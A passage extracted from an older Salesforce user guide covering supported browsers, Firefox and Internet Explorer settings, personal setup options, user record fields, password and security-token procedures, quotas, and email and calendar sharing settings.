Comments Supported plug-in for Internet Explorer 6 only. Google Chrome Frame applies updates automatically; Salesforce.com supports only the most recent version. For configuration recommendations, see Installing Google Chrome Frame for Internet Explorer on page 25. Chrome Frame plug-in is not supported for the Service Cloud console or Forecasts. Supported on Windows XP and Mac OS X version 10.4 and later. There are no configuration recommendations for Safari. Safari is not supported for the Salesforce CRM Call Center CTI Toolkit or the Service Cloud console.

Apple Safari version 5.1.x

Note: Salesforce.com uses the following domains to deliver content. If your users are allowed general access to the Internet, there is no required action. If you whitelist domains, you must add these to your list of allowed domains. If you've disabled third-party cookies (typically enabled by default in all major browsers), you must accept them for Salesforce to function properly. *.staticforce.com *.content.force.com *.force.com *.salesforce.com Important: For all browsers you must enable JavaScript, cookies, and SSL 3.0. Some third-party Web browser plug-ins and extensions can interfere with the functionality of Chatter. If you experience malfunctions or inconsistent behavior with Chatter, disable all of the Web browser's plug-ins and extensions and try again. Salesforce.com strongly recommends a minimum screen resolution of 1024 x 768 for the best possible user experience. Screen resolutions smaller than 1024 x 768 may cause issues displaying Salesforce features such as Report Builder and Page Layout Editor. Certain features in Salesforceas well as some desktop clients, toolkits, and adaptershave their own browser requirements. For example: Internet Explorer is the only supported browser for: Standard mail merge (Chrome Frame plug-in for Internet Explorer isn't supported because the ActiveX controls required for mail merge are only supported in Internet Explorer.) Installing Salesforce Mobile on a Windows Mobile device Connect Offline Internet Explorer 6 is not supported for: Chatter Global Search Answers Cloud Scheduler The new user interface theme Quote Template Editor Service Cloud Console

24

Getting Started

Supported Browsers

Forecasts Enhanced profile user interface Siteforce Schema Builder

Firefox is recommended for the enhanced page layout editor.

Refer to the documentation for those products for specific information. Other requirements can be found in Salesforce System Requirements.

See Also:
Tip sheet: Browser Support and Configuration

Installing Google Chrome Frame for Internet Explorer


Available in: All Editions except Database.com

Salesforce supports Google Chrome Frame for Internet Explorer version 6 only. Google Chrome Frame enables Internet Explorer to utilize Salesforce features such as the new user interface theme and Chatter. To install Google Chrome Frame for Internet Explorer: 1. 2. 3. 4. In the Internet Explorer address bar, go to www.google.com/chromeframe. Click Get Google Chrome Frame and review the Terms of Service. Click Accept and Install. After the installation is complete, click Close and restart Internet Explorer.

See Also:
Supported Browsers

Configuring Firefox
Available in: All Editions

Salesforce.com recommends using Firefox for best performance and makes every effort to test and support the most recent version. Required Settings The following settings are required: 1. Click Tools > Options. 2. Enable JavaScript:

25

Getting Started

Supported Browsers

a. Go to the Content panel. b. Select the Enable JavaScript option. 3. Accept cookies: a. b. c. d. e. Go to the Privacy panel. For the Firefox will option, select Use custom settings for history. Select the Accept cookies from sites option. Select the Accept third-party cookies option. For the Keep until option, select they expire.

4. Set encryption protocols: a. Go to the Advanced panel. b. Click the Encryption tab. c. Select the Use SSL 3.0 option. 5. Click OK. Advanced Settings Optionally, configure advanced caching preferences to maximize performance: 1. Type about:config in the browser's location bar, and then press Enter. 2. If a warning displays, click I'll be careful, I promise!. 3. Search for the following preferences and set them to the recommended value by double-clicking the preference name. Changes take effect immediately. 4. Change how the browser retains common resources across requests by setting the following caching preferences. Preference browser.cache.check_doc_frequency browser.cache.disk.capacity browser.cache.disk.enable browser.cache.disk_cache_ssl browser.cache.memory.enable network.http.use-cache Recommended Value 3 Default Value 3

50,000 or more; increase to use more hard disk 50,000 space True True True True True False True True

Note: You can set some of these preferences by clicking Tools > Options in the Firefox browser. Refer to Firefox Help for details.

Tip: Setting privacy.sanitize.sanitizeOnShutdown to True causes the cache to clear when Firefox shuts down. This increases privacy, but may decrease performance. To view the contents of your cache, type about:cache in the Firefox location bar and press Enter.

26

Getting Started

Supported Browsers

Refer to MozillaZine Knowledge Base and Firefox Support Home Page for more information on these and other preferences.

See Also:
Supported Browsers

Configuring Internet Explorer


Available in: All Editions Salesforce.com strongly recommends using Internet Explorer version 9 over versions 6, 7, and 8. Apply all Microsoft hotfixes. To maximize the performance of Internet Explorer, set the following options in the Internet Options dialog box, which you can open by clicking Tools > Internet Options: General Tab 1. From the General tab, click Settings under Browsing History (Temporary Internet Files for version 6). 2. For the Check for newer versions of stored pages option, select Automatically. 3. For the Disk space to use option (Amount of disk space to use in version 6), enter at least 50 MB. Security Tab 1. From the Security tab, click Custom Level under Internet and scroll to the Scripting section. 2. Make sure the Active Scripting option is enabled. JavaScript depends on this setting being enabled. Privacy Tab 1. 2. 3. 4. From the Privacy tab, click Advanced. Select the Override automatic cookie handling option. Select the Always allow session cookies option. For the Third-party Cookies option, select Accept.

Advanced Tab From the Advanced tab, scroll to the Security section and do the following: Do not select the Do not save encrypted pages to disk option. Select the Use SSL 3.0 option.

27

Getting Started

Supported Browsers

Tip: The Empty Temporary Internet Files folder when browser is closed option causes the cache to clear when Internet Explorer is shut down. This increases privacy, but may decrease performance.

See Also:
Supported Browsers

28

WORKING IN SALESFORCE

PERSONAL SETUP
Personal Setup Overview
The available setup options vary according to which Salesforce Edition you have.

The Personal Setup page, accessed by clicking Your Name > Setup > Personal Setup, contains setup and customization options to help you personalize the application for your personal use. The sidebar includes tools for browsing and searching setup options.

My Personal Information
Expand the My Personal Information folder under Personal Setup to access the following options. Personal InformationEdit your user information, create quotas, view login history, and more (see Editing Your Personal Information on page 30). Change My PasswordChange your password (see Changing Your Password on page 42). Reset My Security TokenReset the security token that you may need to log into Salesforce from outside your company's trusted network (see Resetting Your Security Token on page 44). My GroupsAdd, update, or delete your personal groups (see About Groups on page 554). Change My DisplayCustomize your display of tabs and related lists (see Customizing Your Display on page 41). Grant Login AccessAllow salesforce.com Customer Support representatives or your administrator to log in to your account (see Granting Login Access on page 31). Calendar SharingAllow other users, personal and public groups, roles, or roles and subordinates to view your calendar (see Granting Access to Your Calendar on page 47). RemindersSet your personal preferences for activity reminders (see Setting Reminders on Activities on page 109). Record Type SelectionSet your preferences for automatic selection of default record types (see Setting Record Type Preferences on page 48).

Email
Expand the Email folder under Personal Setup to access the following options. My Email SettingsSet your outbound email settings (see Editing Email Settings on page 46). My TemplatesCreate and edit your own email templates (see Managing Email Templates on page 436). My Stay-in-Touch SettingsSet your preferences for emails requesting contact information updates (see Editing Stay-in-Touch Settings on page 46).

29

Personal Setup

Editing Your Personal Information

Import
Expand the Import folder under Personal Setup to access the following options. Import My Accounts & ContactsImport accounts and contacts that you own (see Import My Contacts on page 759). Import My Person AccountsImport person accounts that you own. Note that your administrator may have customized the text of this link.

Desktop Integration
Expand the Desktop Integration folder under Personal Setup to access the following options. Check for UpdatesSee what desktop client versions you have and install updates (see Checking for Desktop Client Updates on page 50). Salesforce for OutlookInstall Salesforce for Outlook to integrate your data with Microsoft Outlook (see Salesforce for Outlook Overview on page 2404). To download Connect for Outlook, see Force.com Connect for Microsoft Outlook Overview on page 2432. Connect for OfficeInstall Connect for Office to integrate your data with Microsoft Word and Excel (see Force.com Connect for Microsoft Office Overview on page 2488). Connect OfflineInstall Connect Offline to work remotely when you are not online (see Force.com Connect Offline Overview on page 2495). Connect for Lotus NotesDownload the Connect for Lotus Notes integration plug-in (see Force.com Connect for Lotus Notes Overview on page 2460).

Social Contacts
Expand the My Social Contacts folder under Personal Setup to access the following options. SettingsConfigure the social networks that you want to use to see contacts' social profiles, or turn off the Social Contacts feature if you don't want to use it (see Configuring Your Social Contacts Settings on page 169).

Call Center Settings


Expand the Call Center Settings folder under Personal Setup to access the following options. My SoftPhone SettingsSet your SoftPhone user preferences (see Editing Personal SoftPhone Settings on page 2778).

Editing Your Personal Information


The available personal setup options vary according to which Salesforce Edition you have.

To update your personal information, click Your Name > Setup > My Personal Information > Personal Information. Administrators can edit any users information as described in Editing Users on page 476. From the personal information page, you can change the following: Personal InformationTo make changes, click Edit. See User Fields on page 32 for a list of the user fields. If you change your email address, a confirmation message will be sent to the new address. You must click the link provided in that message for the new email address to take effect. This process is to ensure system security. Change PasswordClick the Change Password button. See Changing Your Password on page 42.

30

Personal Setup

Editing Your Personal Information

Approver SettingsSet preference for receiving approval request emails. See Changing Your Approval User Preferences on page 1704. Storage SpaceClick View next to the Used Data Space or Used File Space field to see how much storage space you are using. See Monitoring Resources on page 704 for information on organization storage limits. QuotasCreate and edit your quotas. See Setting Quotas for Customizable Forecasting on page 482 or Adding and Editing Quotas on page 45 if you do not have customizable forecasting. Personal GroupsAdd, update, or delete your personal groups. See About Groups on page 554. Default Sales TeamSet up your default sales team. See Setting Your Default Sales Team on page 2344. Default Account TeamSet up your default account team. See Setting Up Default Account Teams on page 2218. Login HistoryAdministrators can view the users last ten successful and failed login attempts.

You also have access to view the following: Public Group MembershipLists the public groups to which you belong, as determined by your administrator. Managers in the Role HierarchyLists the users above you in the role hierarchy, as defined by your administrator. See Managers in the Role Hierarchy on page 32. TerritoriesLists the territories to which you are assigned. See Managing Users in Territories on page 2361. Assigned Mobile DevicesLists the mobile device from which you activated Salesforce Mobile for your Salesforce account. See Managing Mobile Devices on page 910. Remote AccessLists the remote access applications that you have granted access to.

See Also:
Personal Setup Overview Changing Your Default Division

Viewing Public Group Membership


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

To view which public groups include you as a member: 1. Click Your Name > Setup > My Personal Information > Personal Information. 2. Scroll down to the Public Group Membership related list, which lists the public groups of which you are a member. 3. To view a group's membership details, click the group name.

See Also:
Editing Your Personal Information

Granting Login Access

31

Personal Setup

Editing Your Personal Information

Available in: All Editions Granting administrator access available in: Enterprise, Unlimited, Developer, and Database.com Editions

In order to assist you, your administrator or a customer support representative may need to log in to the application using your login. You can grant access to them for a specified duration. The maximum period for granting access is limited to one year, for security reasons. During the time you have granted access, they can use your login and access your data to help you resolve any problems. To grant login access: 1. Choose Your Name > Setup > My Personal Information > Grant Login Access. 2. Set the access expiration date, by choosing a value from the picklist. 3. Click Save. If an administrator, support representative, or publisher makes setup changes using your login, the setup audit trail lists those changes, including the username of the delegate user who made the changes. Note: You may be unable to grant access to certain support organizations due to restrictions set up by your administrator or based on the type of licensing used by a packaged application.

See Also:
Logging In as Another User Monitoring Setup Changes

Managers in the Role Hierarchy


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

The Managers in the Role Hierarchy related list shows all of the users above you in the hierarchy. These users have the same access to your data as you dothey have access to all data you own or that has been shared with you. To view this related list, click Your Name > Setup > My Personal Information > Personal Information, and scroll down to the related list.

See Also:
Managing Roles

User Fields

32

Personal Setup

Editing Your Personal Information

The available fields vary according to which Salesforce Edition you have.

Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. A user's personal informationor user detailpage has the following fields, listed in alphabetical order. Some of these fields may not be visible or editable depending on your permissions or edition. Field
Accessibility Mode

Description Checkbox that enables or disables a user interface mode designed for visually-impaired users. See Enabling Accessibility Mode on page 3281. Administrative checkbox that enables or disables user login to the service. Street address for user. Up to 255 characters are allowed in this field. Opt in to receive administrator-targeted promotional emails from salesforce.com. This field is not available if your organization has disabled your choice to receive emails from salesforce.com. Short name to identify user on list pages, reports, and other pages where the entire name does not fit. Up to eight characters are allowed in this field. Indicates whether the user is allowed to use customizable forecasting or not. See Enabling Users for Customizable Forecasting on page 1268. Indicates whether or not an API token has ever been reset. Salesforce.com uses this field to help you troubleshoot issues related to API tokens if issues should occur. The name of the call center to which this user is assigned. See Managing Call Center Users on page 2794. Indicates whether the user is notified by email when his or her Checkout account is activated and available for login. You must have Manage Billing permission to enable.

Active

Address

Admin newsletter

Alias

Allow Forecasting

Api Token

Call Center

Checkout Enabled

City

City portion of users address. Up to 40 characters are allowed in this field. Indicates whether the option to set an alternate color palette for charts has been enabled. The alternate palette has been optimized for use by color-blind users. For dashboard emails, the alternate palette is not used.

Color-Blind Palette on Charts

33

Personal Setup

Editing Your Personal Information

Field
Community Nickname

Description Name used to identify this user in a community. Up to 40 alphanumeric characters are allowed; standard users can edit this field. Company name where user works. Up to 40 characters are allowed in this field. Name of the associated contact if the user is a partner user. Country portion of users address. Up to 40 characters are allowed in this field. User who created the user including creation date and time. (Read only) Users default currency for quotas, forecasts, and reports. Shown only in organizations using multiple currencies. This must be one of the active currencies for the organization. Listing of custom links for users as set up by your administrator. User's default currency setting for new records. Available only for organizations that use multiple currencies. Division that is applied, by default, to all new accounts and leads created by the user, unless he or she explicitly sets a different division. When users create records related to an account or other record that already has a division, the new record is assigned to the existing records division; the default division is not used. This setting does not restrict the user from viewing or creating records in other divisions. Users can change their division at any time. Available only in organizations that use divisions to segment their data.

Company

Contact Country

Created By

Currency

Custom Links

Default Currency ISO Code

Default Division

Delegated Approver

User lookup field used to select a delegate approver for approval requests. Depending on the approval process settings, this user can also approve approval requests for the user. Group that user works for, for example, Customer Support. Up to 80 characters are allowed in this field. Enables development mode for creating and editing Visualforce pages. This field is only visible to organizations that have Visualforce enabled..

Department

Development Mode

Disable Auto Subscription For Feeds

Disables automatic feed subscriptions to records owned by a user. Only available in organizations with Chatter enabled.

34

Personal Setup

Editing Your Personal Information

Field
Division

Description Company division to which user belongs for example, PC Sales Group. Up to 40 characters are allowed in this field. Email address of user. Must be a valid email address in the form: jsmith@acme.com. Up to 80 characters are allowed in this field. Character set and encoding for outbound email sent by user from within Salesforce. ISO-8859-1 represents all Latin characters and should be used by English-speaking users. UTF-8 (Unicode) represents all characters for all of the worlds languages, but is not supported by some older email software. Shift_JIS, EUC-JP and ISO-2022-JP are useful for Japanese users. Identifying number for a user. Time of day that user generally stops working. Used to define the times that display in the users calendar. Fax number for user. The value used to identify a user for federated authentication single sign-on. For more information, see Configuring SAML Settings for Single Sign-On on page 645. Also used with identity providers. See About Identity Providers and Service Providers on page 673 First name of user, as displayed on the user edit page. Up to 40 characters are allowed in this field. Administrative checkbox that grants a user the ability to run flows. You must have the Manage Force.com Flow permission to enable.

Email

Email Encoding

Employee Number End of day

Fax Federation ID

First Name

Force.com Flow User

Force.com Quick Access Menu

Enables the Force.com quick access menu, which appears in object list view pages and record detail pages, and provides shortcuts to customization features for apps and objects. The default currency for all currency amount fields in the user record. Available only for organizations that use multiple currencies. Enables a user to find contact and lead records from Data.com and add them to Salesforce. Also indicates the type of Data.com user. Data.com Users get a limited number of records to add per month, and their unused additions expire at the end of each month. For each Data.com User, you can see the monthly limit and number of records added during the month. Data.com List users share contact and lead record additions from a pool, and their additions never expire. You

Information Currency

Data.com User Type

35

Personal Setup

Editing Your Personal Information

Field

Description can see the organization's limit, and the number of records each Data.com List User has added.

Knowledge User

Grants access to Salesforce Knowledge. The user's profile determines whether he or she has access to the Article Management tab or Articles tab. The primary language for the user. All text and online help is displayed in this language. In Professional, Enterprise, and Unlimited Edition organizations, a users individual Language setting overrides the organizations Default Language. Not available in Personal Edition, Contact Manager, or Group Edition. The organizations Display Language applies to all users.

Language

Last Login Last Name

Date of last login. (Read only) Last name of user, as displayed on the user edit page. Up to 80 characters are allowed in this field. Country or geographic region in which user is located. The Locale setting affects the format of date, date/time, and number fields, and the calendar. For example, dates in the English (United States) locale display as 06/30/2000 and as 30/06/2000 in the English (United Kingdom) locale. Times in the English (United States) locale display using a twelve-hour clock with AM and PM (for example, 2:00 PM), whereas in the English (United Kingdom) locale, they display using a twenty-four-hour clock (for example, 14:00). The Locale setting also affects the first and last name order on Name fields for users, leads, and contacts. For example, Bob Johnson in the English (United States) locale displays as Bob Johnson, whereas the Chinese (China) locale displays the name as Johnson Bob. For Personal Edition users, the locale is set at the organization level via Your Name > Setup > Company Profile > Company Information. For all other users, their personal locale, available at Your Name > Setup > My Personal Information > Personal Information, overrides the organization setting.

Locale

Make Setup My Default Landing Page

When this option is enabled, users land in the Setup page when they log in. Lookup field used to select the user's manager. This field: Establishes a hierarchical relationship, preventing you from selecting a user that directly or indirectly reports to itself. Allows Chatter to recommend people and records to follow based on your organization's reporting structure. For more

Manager

36

Personal Setup

Editing Your Personal Information

Field

Description information, see People Recommendations Overview on page 2141 and Record Recommendations Overview on page 2204. This field is especially useful for creating hierarchical workflow rules and approval processes without having to create additional hierarchy fields. Note: Unlike other hierarchy fields, Salesforce allows you to inactivate users who are referenced in the Manager field.

Marketing User

Checkbox that indicates whether user has access to create, edit, and delete campaigns and configure advanced campaign setup. In order to use the campaign import wizards, Marketing Users must also have the Marketing User profile (or the Import Leads permission and the Edit permission on campaigns in Enterprise and Unlimited Edition organizations).

Mobile

Cellular or mobile phone number. Up to 40 characters are allowed in this field. Allocates one Salesforce Mobile license to the user, granting the user access to Salesforce Mobile capabilities. The number of user records with this checkbox enabled cannot exceed the total number of mobile licenses your organization has. The Mobile User checkbox is enabled by default for Unlimited and Developer Edition users. To prevent users from activating Salesforce on their mobile devices before you are ready to deploy mobile in your organization, disable the checkbox for all your users. If the user has already activated his or her mobile account from a device, deselecting the Mobile User checkbox revokes the user's mobile license. The next time the user's device synchronizes with Salesforce, all the Salesforce data is deleted from the device, and the device is no longer associated with the user. For more information, see Salesforce Mobile Overview on page 858. Note: The Mobile User checkbox doesn't apply to Mobile Lite users because they can access Salesforce from their device without a mobile license.

Mobile User

37

Personal Setup

Editing Your Personal Information

Field
Mobile Configuration

Description The mobile configuration assigned to the user. If no mobile configuration is specified, this field defaults to the mobile configuration assigned to the user's profile. This field is only visible to organizations that use Salesforce to manage mobile configurations. For more information, see Salesforce Mobile Overview on page 858.

Modified By

User who last changed the user fields, including modification date and time. (Read only) If the user's Data.com User Type is Data.com User, the number of Data.com contact and lead records the user can add each month. The default number of records per license is 300, but you can assign more than that or fewer, up to the organization limit.

Monthly Contact and Lead Limit

Name

Combined first and last name of user, as displayed on the user detail page. Opt in to receive user-targeted promotional emails from salesforce.com. This field is not available if your organization has disabled your choice to receive emails from salesforce.com. Administrative checkbox that indicates whether user has access to use Connect Offline. Phone number of user. Up to 40 characters are allowed in this field. Checkbox that specifies if the user was created via self-registration to a Customer Portal. Available in Enterprise and Unlimited Editions only.

Newsletter

Offline User

Phone

Self-Registered via Customer Portal

Profile

Administrative field that defines a users permission to perform different functions within the application. Set preferences for receiving approval request emails. See Changing Your Approval User Preferences on page 1704. If selected, specifies that a user with a Salesforce CRM Content User license and Salesforce CRM Content subscriptions will receive a once-daily email summary if activity occurs on his or her subscribed content, libraries, tags, or authors. To receive email, the Receive Salesforce CRM Content Email Alerts checkbox must also be selected. Portal users also need the View Content in Portals user permission. If selected, specifies that a user with a Salesforce CRM Content User license and Salesforce CRM Content

Receive Approval Request Emails

Receive Salesforce CRM Content Daily Digest

Receive Salesforce CRM Content Email Alerts

38

Personal Setup

Editing Your Personal Information

Field

Description subscriptions will receive email notifications if activity occurs on his or her subscribed content, libraries, tags, or authors. To receive real-time email alerts, select this checkbox and do not select the Receive Salesforce CRM Content Daily Digest checkbox. Portal users also need the View Content in Portals user permission.

Role

Administrative field that specifies position of user within an organization, for example, Western Region Support Manager. Roles are selected from a picklist of available roles, which can be changed by an administrator. Not available in Personal Edition, Contact Manager, or Group Edition.

Salesforce CRM Content User

Administrative checkbox that indicates whether a user has access to use Salesforce CRM Content. If selected, specifies that the user will receive email notification whenever he or she executes Apex that surpasses more than 50% of allocated governor limits. See the Force.com Apex Code Developer's Guide for information. Available in Developer, Enterprise, and Unlimited Editions only.

Send Apex Warning Emails

Show View State in Development Mode

Enables the View State tab in the development mode footer forVisualforce pages. This field is only visible to organizations that have Visualforce enabled, and Development Mode selected.

Siteforce Contributor User

Allocates one Siteforce Contributor license to the user, granting the user limited access to Siteforce Studio. Contributors can use Siteforce Studio to edit site content only. See Setting Up Siteforce Users on page 2072. The number of user records with this checkbox enabled can't exceed the total number of Siteforce Contributor licenses your organization has. Available only if Siteforce is enabled for your organization.

Siteforce Publisher User

Allocates one Siteforce Publisher license to the user, granting the user full access to Siteforce Studio. Publishers can build and style websites, control the layout and functionality of pages and page elements, and add and edit content. See Setting Up Siteforce Users on page 2072. The number of user records with this checkbox enabled can't exceed the total number of Siteforce Publisher licenses your organization has.

39

Personal Setup

Changing Your Default Division

Field

Description Available only if Siteforce is enabled for your organization.

Start of day

Time of day that user generally starts working. Used to define the times that display in the users calendar. State or province portion of users address. Up to 20 characters are allowed in this field. Primary time zone in which user works. Users in Arizona should select the setting with America/Phoenix, and users in parts of Indiana that do not follow Daylight Savings Time should select the setting with America/Indianapolis.

State/Province

Time Zone

Title Used Space

Job title of user. Up to 80 characters are allowed in this field. Amount of disk storage space the user is using. See Monitoring Resources on page 704. Indicates the type of user license. For more information about user licenses, see Viewing User License Types on page 567. Administrative field that defines the users login. Up to 80 characters are allowed in this field. Zip code or postal code portion of users address. Up to 20 characters are allowed in this field.

User License

Username

Zip/Postal Code

See Also:
Adding New Users Editing Users Managing Mobile Permissions

Changing Your Default Division


Available in: Professional, Enterprise, and Unlimited Editions

User Permissions Needed To change your default division: Manage Users

If your organization uses divisions to segment data, your user information contains a default division. This is the division that is applied, by default, to all new accounts, leads, and appropriate custom objects you create, unless you explicitly set a different

40

Personal Setup

Customizing Your Display

division during record creation. For records you create that are related to an account or other record that already has a division, the new record is assigned to the existing records division; the default division is not used. Your default division setting does not restrict you from viewing or creating records in other divisions. See Overview of Divisions on page 422 for more information. To change your default division: 1. Click Your Name > Setup > My Personal Information > Personal Information. To change the default division of another user, click Your Name > Setup > Manage User > Users, and select the name of the user. See Transferring Divisions on page 716 to transfer the default division for multiple users. 2. 3. 4. 5. Click Change next to the Default Division field. Select a new default division. Select an option to determine if the records you currently own should be transferred to the new division as well. Click Save.

See Also:
Transferring Divisions Changing Your Working Division

Customizing Your Display


Available in: All Editions except for Database.com

Click Your Name > Setup > My Personal Information > Change My Display to change various personal display options. You can: Click Customize My Tabs to change which tabs display when you log in, or, if you have multiple apps, to change which tabs display in each app. By default, you will see the tabs that are set for your profile. Add each tab you want to display, change the display order if desired, and click Save. Note: The first tab that displays when you select an app may change if your administrator changes the app's default landing tab. See Editing App Properties on page 1597. Select an object from the drop-down list and click Customize My Pages to customize your display. For your Home tab, customize the dashboard snapshot that displays on the Home tab. Select the dashboard to use and click Save. The link to customize your Home tab is available only if your administrator has customized your home page layout to include a dashboard. See Refreshing Dashboard Data on page 2723 for information on refreshing your dashboard snapshot. For all other tabs, set which related lists display on your detail pages. To add or remove related lists, select a related list title, and click the Add or Remove arrow. To change the order of the related lists, select a related list title in the Selected List box, and click the Up or Down arrow. Click Save when finished.

41

Personal Setup

Viewing All Tabs

Note: Your personal related list customization may change if your administrator alters the page layout for a particular tab. See Managing Page Layouts on page 1188. You can also access the Customize My Display page via the Customize Page link in the Dashboard section of the Home tab or on any record detail page. To customize the folders that display on your Reports tab, see Reports Tab on page 2609. Note: Users can't remove dashboards from their home tab. Only administrators control whether dashboards appear.

See Also:
Changing Your Home Tab Dashboard Viewing All Tabs

Viewing All Tabs


Available in: All Editions except for Database.com

To view all the tabs available to you in Salesforce, click the plus icon (+) next to the main tabs.

Figure 1: Viewing All Tabs in Salesforce Using this page, you can: Click any of the tab names to quickly jump to that tab. If you have multiple apps, use the View drop-down list to see each apps logo and included tabs. Click Customize My Tabs to change how tabs display on your screen. Note: If you have Enterprise or Unlimited Edition, your administrator can hide tabs within your organization for features you do not use. For details, see Creating Custom Apps on page 1592.

See Also:
Customizing Your Display

Changing Your Password

42

Personal Setup

Changing Your Password

Available in: All Editions

To change your password at any time, click Your Name > Setup > My Personal Information > Change My Password. Note: If you have the User Single Sign-On permission, only an administrator can reset your password. Please contact your administrator for assistance. For information about Single Sign-On, see About Single Sign-On on page 630. When you change your password, if you have not previously selected and answered a security question, you are prompted to do so. You must answer this question correctly if you ever forget your password and need it to be reset.

Additional Password Considerations


As you enter a new password in the New Password field, a visual indicator provides dynamic feedback on the strength of that password. When the password matches the minimum requirements for your organization's password policy, the visual indicator and associated text indicate that the password is acceptable and can now be saved. A tip is displayed to suggest how to make the password stronger and more difficult to guess. You might have to activate your computer to successfully log in to Salesforce whenever your password is changed or reset, or when you log in from a computer you have not used to access Salesforce before. Activating your computer allows Salesforce to verify your identity and prevent unauthorized access. To activate your computer: 1. When prompted on the login page, click the Send Activation Link button. Salesforce sends an activation email to the email address specified on your Salesforce user record. 2. When you receive the activation email, copy and paste the activation link into your browser. The activation link included in the email is available for you to copy and paste into your browser up to 24 hours from the time you clicked the Send Activation Link button. After 24 hours, the activation link expires, and you must repeat the activation process to log in.

See Also:
Retrieving Forgotten Passwords Resetting Your Security Token

Activating Your Computer


Password policies available in: All Editions

You might have to activate your computer to successfully log in to Salesforce whenever your password is changed or reset, or when you log in from a computer you have not used to access Salesforce before. Activating your computer allows Salesforce to verify your identity and prevent unauthorized access. To activate your computer: 1. When prompted on the login page, click the Send Activation Link button. Salesforce sends an activation email to the email address specified on your Salesforce user record. 2. When you receive the activation email, copy and paste the activation link into your browser.

43

Personal Setup

Changing Your Password

The activation link included in the email is available for you to copy and paste into your browser up to 24 hours from the time you clicked the Send Activation Link button. After 24 hours, the activation link expires, and you must repeat the activation process to log in.

See Also:
Changing Your Password

Retrieving Forgotten Passwords


Available in: All Editions

Follow these steps if you have forgotten your password: 1. 2. 3. 4. 5. 6. Go to https://login.salesforce.com. Click Forgot your password?. Correctly enter your username and click Continue. A message is automatically sent to your email address. Click the link provided in that message, correctly answer your password question, and click Continue. A temporary password is automatically sent to your email address. Click the link to log in using that temporary password. When prompted, enter a new password.

You might have to activate your computer to successfully log in to Salesforce whenever your password is changed or reset, or when you log in from a computer you have not used to access Salesforce before. Activating your computer allows Salesforce to verify your identity and prevent unauthorized access. To activate your computer: 1. When prompted on the login page, click the Send Activation Link button. Salesforce sends an activation email to the email address specified on your Salesforce user record. 2. When you receive the activation email, copy and paste the activation link into your browser. The activation link included in the email is available for you to copy and paste into your browser up to 24 hours from the time you clicked the Send Activation Link button. After 24 hours, the activation link expires, and you must repeat the activation process to log in.

See Also:
Resetting Your Security Token

Resetting Your Security Token

44

Personal Setup

Adding and Editing Quotas

Available in: All Editions Connect for Outlook, Connect Offline, Connect for Office, Connect for Lotus Notes are not available in Database.com

A security token is an automatically generated key that you must add to the end of your password in order to log in to Salesforce from an untrusted network. For example, if your password is mypassword, and your security token is XXXXXXXXXX, then you must enter mypasswordXXXXXXXXXX to log in. Security tokens are required whether you log in via the API or a desktop client such as Connect for Outlook, Connect Offline, Connect for Office, Connect for Lotus Notes, or the Data Loader. You are offered a security token if you try to access Salesforce from an untrusted network. Once you have been issued a security token, you have the option to reset this security token at any time. To reset your security token, click Your Name > Setup > My Personal Information > Reset Security Token, and click the Reset Security Token button. The new security token is sent via email to the email address on your Salesforce user record. If you have never been offered a security token, for example, because your organization restricts the IP addresses from which you can log in, the Reset Security Token node does not appear in Setup. Tip: We recommend that you obtain your security token using the Salesforce user interface from a trusted network prior to attempting to access Salesforce from a new IP address.

See Also:
Changing Your Password

Adding and Editing Quotas


Available in: Professional, Enterprise, Unlimited, and Developer Editions

You can track your sales quotas on a quarterly basis. To add or edit a quota, go to your forecast for the quarter, or select Your Name > Setup > My Personal Information > Personal Information. To create a new quota from the personal information page: 1. Click New in the Quotas related list. 2. Select the year and quarter, and click Next. By default, the page displays the quarter that follows the last quota you created. The year you select should be based on your organizations Fiscal Year Starts In settings. 3. Enter amounts for each month. Do not include any currency symbols. If your organization uses multiple currencies, your quota is created in your personal currency by default. 4. Click Save to finish. Creating a quota automatically creates the corresponding forecast for that quarter. To edit a quota, click the quota name in the Quotas related list. Editing the quota amounts automatically logs an entry to the Forecast History related list of the corresponding forecast (see Forecast History on page 2238).

45

Personal Setup

Editing Email Settings

Note: Managers should enter their quota amounts as a sum of their entire teams quotas. If your sales group does not break down quotas monthly, enter zeroes for the first two months and put the entire amount in the third month. If your organization uses multiple currencies, click Change Currency in the Quotas related list to change the currency of the quota. All quota and forecast values are automatically converted to the new currency using the conversion rates maintained by your administrator. Note: This procedure does not apply to customizable forecasting. If your organization has enabled customizable forecasting, see Setting Quotas for Customizable Forecasting on page 482. See Do I Have Customizable Forecasting? on page 2242 to determine if your organization has enabled customizable forecasting.

See Also:
Creating Forecasts Editing Forecasts

Editing Email Settings


Available in: All Editions except for Database.com

Click Your Name > Setup > Email > My Email Settings to alter email settings that apply to all outbound emails you send from within the application. You can change: How your name appears on outbound emails Your return email address Whether all individual outbound emails are blind carbon copied to your return address (not available if your organization has enabled sending compliance BCC emails) The signature that appears at the bottom of all individual outbound emails and can be added to mass email messages. Note: In Personal and Developer Editions, a Salesforce-specific tag line is added below your personal signature on all outbound emails.

See Also:
Sending Email

Editing Stay-in-Touch Settings

46

Personal Setup

Editing Stay-in-Touch Settings

Available in: All Editions except for Database.com

To set your preferences for requesting contact information updates: Note: If your organization uses person accounts, person accounts are also affected by these settings. For more information, see What is a Person Account? on page 61. 1. Click Your Name > Setup > Email > My Stay-in-Touch Settings. 2. Choose Yes for Automatic Bcc to receive copies of your sent Stay-in-Touch emails. This option is only available if your organization has not enabled compliance BCC emails. 3. Enable the reminder if you would like to be prompted to send a Stay-in-Touch request whenever you save a new contact. 4. Enter a default subject for the email. 5. In the note area, enter a message to the recipient. 6. In the signature area, enter a signature with your contact information. 7. Use the merge fields area at the top of the page to display available merge field values, which you can copy and paste into the subject, note, or signature boxes as needed. 8. Click Save.

See Also:
Sending Stay-in-Touch Requests

Granting Access to Your Calendar


Available in: Professional, Enterprise, Unlimited, and Developer Editions

You can grant access to other users, personal and public groups, roles, or roles and subordinates to view your calendar. 1. 2. 3. 4. Click Your Name > Setup > My Personal Information > Calendar Sharing. Click Add to share your calendar with others. Use the arrows to add or remove users, roles, or groups to your calendar. In Calendar Access, specify how you want to share your calendar by selecting one of the following: Option Hide Details Description Others can see whether given times are available, but cannot see any other information about the nature of events in the calendar. Others can see whether given times are available, but cannot see details of events. Other users can insert events in the calendar.

Hide Details and Add Events

47

Personal Setup

Setting Record Type Preferences

Option Show Details Show Details and Add Events Full Access

